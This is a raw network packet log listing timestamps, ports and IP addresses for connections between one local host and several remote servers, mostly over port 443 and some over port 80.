Nov 26, 2024 10:09:09.579246044 CET	443	49718	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.580435038 CET	443	49718	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.580503941 CET	49718	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.581253052 CET	49718	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.581269026 CET	443	49718	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.594023943 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.594032049 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.606786013 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.606853008 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.606862068 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.647315979 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.674495935 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.688366890 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.688425064 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.688436031 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.691766024 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.691821098 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.691828966 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.705275059 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.705333948 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.705339909 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.715054989 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.715111971 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.715120077 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.725686073 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.725737095 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.725743055 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.750497103 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.750607014 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.750613928 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.758982897 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.759033918 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.759042025 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.766908884 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.766973019 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.766979933 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.779835939 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.779887915 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.779895067 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.794445038 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.794497967 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.794506073 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.804167986 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.804224014 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.804230928 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.844492912 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.861589909 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.874757051 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.877036095 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.877093077 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.877103090 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.877149105 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.881953955 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.893929958 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.893986940 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.893992901 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.894006968 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.894051075 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.906678915 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.916600943 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.916837931 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.916893959 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.916903973 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.916944027 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.927306890 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.938195944 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.938251972 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.938260078 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.949004889 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.949160099 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.949232101 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.949240923 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.949289083 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.959775925 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.969444990 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.969573975 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.969660997 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.969669104 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.969722033 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.978785038 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.987514019 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.987545967 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.987566948 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.987574100 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:09.987617016 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:09.995661020 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.004359961 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.004400969 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.004419088 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.004429102 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.004501104 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.012342930 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.020781040 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.020962954 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.020971060 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.029249907 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.029337883 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.029390097 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.029397011 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.029442072 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.038259983 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.045849085 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.045876980 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.045907974 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.045918941 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.045958996 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.046664000 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.055511951 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.055712938 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.055721045 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.062756062 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.066627026 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.066633940 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.068854094 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.068907022 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.068913937 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.077766895 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.077943087 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.077950954 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.080895901 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.080957890 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.080965042 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.091907978 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.095244884 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.095277071 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.095287085 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.095333099 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.096563101 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.108206987 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.108272076 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.108282089 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.118442059 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.118519068 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.118529081 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.121783018 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.121843100 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.121853113 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.130606890 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.130660057 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.130669117 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.131691933 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.131743908 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.131752014 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.131911993 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:10.131958961 CET	443	49715	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:10.132021904 CET	49715	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:11.026799917 CET	49727	443	192.168.2.5	52.149.20.212
Nov 26, 2024 10:09:11.026827097 CET	443	49727	52.149.20.212	192.168.2.5
Nov 26, 2024 10:09:11.026918888 CET	49727	443	192.168.2.5	52.149.20.212
Nov 26, 2024 10:09:11.037991047 CET	49728	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:11.038024902 CET	443	49728	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:11.038096905 CET	49728	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:11.038306952 CET	49728	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:11.038321972 CET	443	49728	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:11.041249990 CET	49727	443	192.168.2.5	52.149.20.212
Nov 26, 2024 10:09:11.041265965 CET	443	49727	52.149.20.212	192.168.2.5
Nov 26, 2024 10:09:11.738776922 CET	49730	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:11.738825083 CET	443	49730	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:11.738897085 CET	49730	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:11.740817070 CET	49730	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:11.740833044 CET	443	49730	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:12.538800001 CET	49711	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:12.539230108 CET	49735	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:12.659663916 CET	80	49711	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:12.659912109 CET	80	49735	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:12.660041094 CET	49735	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:12.663242102 CET	49735	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:12.783221960 CET	80	49735	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:12.806250095 CET	443	49727	52.149.20.212	192.168.2.5
Nov 26, 2024 10:09:12.806428909 CET	49727	443	192.168.2.5	52.149.20.212
Nov 26, 2024 10:09:12.811243057 CET	49727	443	192.168.2.5	52.149.20.212
Nov 26, 2024 10:09:12.811260939 CET	443	49727	52.149.20.212	192.168.2.5
Nov 26, 2024 10:09:12.811573029 CET	443	49727	52.149.20.212	192.168.2.5
Nov 26, 2024 10:09:12.823865891 CET	443	49728	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:12.824384928 CET	49728	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:12.824412107 CET	443	49728	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:12.824876070 CET	443	49728	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:12.825287104 CET	49728	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:12.825376034 CET	443	49728	142.250.181.68	192.168.2.5
Nov 26, 2024 10:09:12.865461111 CET	49727	443	192.168.2.5	52.149.20.212
Nov 26, 2024 10:09:12.881671906 CET	49728	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:12.899290085 CET	49727	443	192.168.2.5	52.149.20.212
Nov 26, 2024 10:09:12.939341068 CET	443	49727	52.149.20.212	192.168.2.5
Nov 26, 2024 10:09:13.225630045 CET	443	49730	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:13.225774050 CET	49730	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:13.230429888 CET	49730	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:13.230453014 CET	443	49730	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:13.230962992 CET	443	49730	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:13.281713963 CET	49730	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:13.283938885 CET	49730	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:13.327332020 CET	443	49730	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:13.503123999 CET	443	49727	52.149.20.212	192.168.2.5
Nov 26, 2024 10:09:13.503148079 CET	443	49727	52.149.20.212	192.168.2.5
Nov 26, 2024 10:09:13.503156900 CET	443	49727	52.149.20.212	192.168.2.5
Nov 26, 2024 10:09:13.503195047 CET	443	49727	52.149.20.212	192.168.2.5
Nov 26, 2024 10:09:13.503222942 CET	443	49727	52.149.20.212	192.168.2.5
Nov 26, 2024 10:09:13.503237009 CET	443	49727	52.149.20.212	192.168.2.5
Nov 26, 2024 10:09:13.503258944 CET	49727	443	192.168.2.5	52.149.20.212
Nov 26, 2024 10:09:13.503295898 CET	443	49727	52.149.20.212	192.168.2.5
Nov 26, 2024 10:09:13.503324032 CET	49727	443	192.168.2.5	52.149.20.212
Nov 26, 2024 10:09:13.503324032 CET	49727	443	192.168.2.5	52.149.20.212
Nov 26, 2024 10:09:13.503437042 CET	49727	443	192.168.2.5	52.149.20.212
Nov 26, 2024 10:09:13.522478104 CET	443	49727	52.149.20.212	192.168.2.5
Nov 26, 2024 10:09:13.522572994 CET	443	49727	52.149.20.212	192.168.2.5
Nov 26, 2024 10:09:13.522582054 CET	49727	443	192.168.2.5	52.149.20.212
Nov 26, 2024 10:09:13.522761106 CET	49727	443	192.168.2.5	52.149.20.212
Nov 26, 2024 10:09:13.701342106 CET	49738	443	192.168.2.5	142.250.181.110
Nov 26, 2024 10:09:13.701380968 CET	443	49738	142.250.181.110	192.168.2.5
Nov 26, 2024 10:09:13.701447964 CET	49738	443	192.168.2.5	142.250.181.110
Nov 26, 2024 10:09:13.701998949 CET	49738	443	192.168.2.5	142.250.181.110
Nov 26, 2024 10:09:13.702013969 CET	443	49738	142.250.181.110	192.168.2.5
Nov 26, 2024 10:09:13.758336067 CET	443	49730	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:13.758414984 CET	443	49730	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:13.758475065 CET	49730	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:13.758563042 CET	49730	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:13.758578062 CET	443	49730	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:13.758598089 CET	49730	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:13.758604050 CET	443	49730	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:13.831073046 CET	49739	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:13.831127882 CET	443	49739	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:13.831221104 CET	49739	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:13.831947088 CET	49739	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:13.831964970 CET	443	49739	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:14.513993025 CET	80	49735	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:14.514098883 CET	49735	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:15.016639948 CET	49735	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:15.038220882 CET	49727	443	192.168.2.5	52.149.20.212
Nov 26, 2024 10:09:15.038220882 CET	49727	443	192.168.2.5	52.149.20.212
Nov 26, 2024 10:09:15.038249016 CET	443	49727	52.149.20.212	192.168.2.5
Nov 26, 2024 10:09:15.038263083 CET	443	49727	52.149.20.212	192.168.2.5
Nov 26, 2024 10:09:15.136964083 CET	80	49735	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:15.263115883 CET	443	49739	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:15.263202906 CET	49739	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:15.265172958 CET	49739	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:15.265185118 CET	443	49739	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:15.265455961 CET	443	49739	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:15.270324945 CET	49739	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:15.311361074 CET	443	49739	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:15.395154953 CET	443	49738	142.250.181.110	192.168.2.5
Nov 26, 2024 10:09:15.438070059 CET	49738	443	192.168.2.5	142.250.181.110
Nov 26, 2024 10:09:15.525881052 CET	49738	443	192.168.2.5	142.250.181.110
Nov 26, 2024 10:09:15.527491093 CET	49728	443	192.168.2.5	142.250.181.68
Nov 26, 2024 10:09:15.809933901 CET	443	49739	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:15.810003042 CET	443	49739	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:15.810081959 CET	49739	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:15.811011076 CET	49739	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:15.811029911 CET	443	49739	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:15.811058998 CET	49739	443	192.168.2.5	69.192.160.109
Nov 26, 2024 10:09:15.811065912 CET	443	49739	69.192.160.109	192.168.2.5
Nov 26, 2024 10:09:15.931003094 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:15.931044102 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:15.931102037 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:15.931586027 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:15.931598902 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:15.962069035 CET	80	49735	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:15.962140083 CET	49735	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:17.653877020 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:17.653939009 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:17.705897093 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:17.705929041 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:17.706259012 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:17.721105099 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:17.763336897 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.133104086 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.133124113 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.133141041 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.133203983 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.133227110 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.133275986 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.307595968 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.307619095 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.307713032 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.307740927 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.307789087 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.346394062 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.346402884 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.346483946 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.346503019 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.346632004 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.473237038 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.473263979 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.473475933 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.473489046 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.473576069 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.497431993 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.497493982 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.497526884 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.497538090 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.497669935 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.524521112 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.524545908 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.524627924 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.524646997 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.527292967 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.544343948 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.544398069 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.544450045 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.544460058 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.544503927 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.663863897 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.663893938 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.663945913 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.663980961 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.664000988 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.664012909 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.677887917 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.677906990 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.677973986 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.678008080 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.678028107 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.678101063 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.692302942 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.692322969 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.692388058 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.692415953 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.692672968 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.706069946 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.706089973 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.706134081 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.706161976 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.706181049 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.706202030 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.718575954 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.718592882 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.718655109 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.718677998 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.718718052 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.733118057 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.733133078 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.733196974 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.733217955 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.733421087 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.738439083 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.738514900 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.738514900 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.738558054 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.926186085 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.982294083 CET	49740	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:18.982335091 CET	443	49740	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:18.982356071 CET	49740	443	192.168.2.5	13.107.246.63
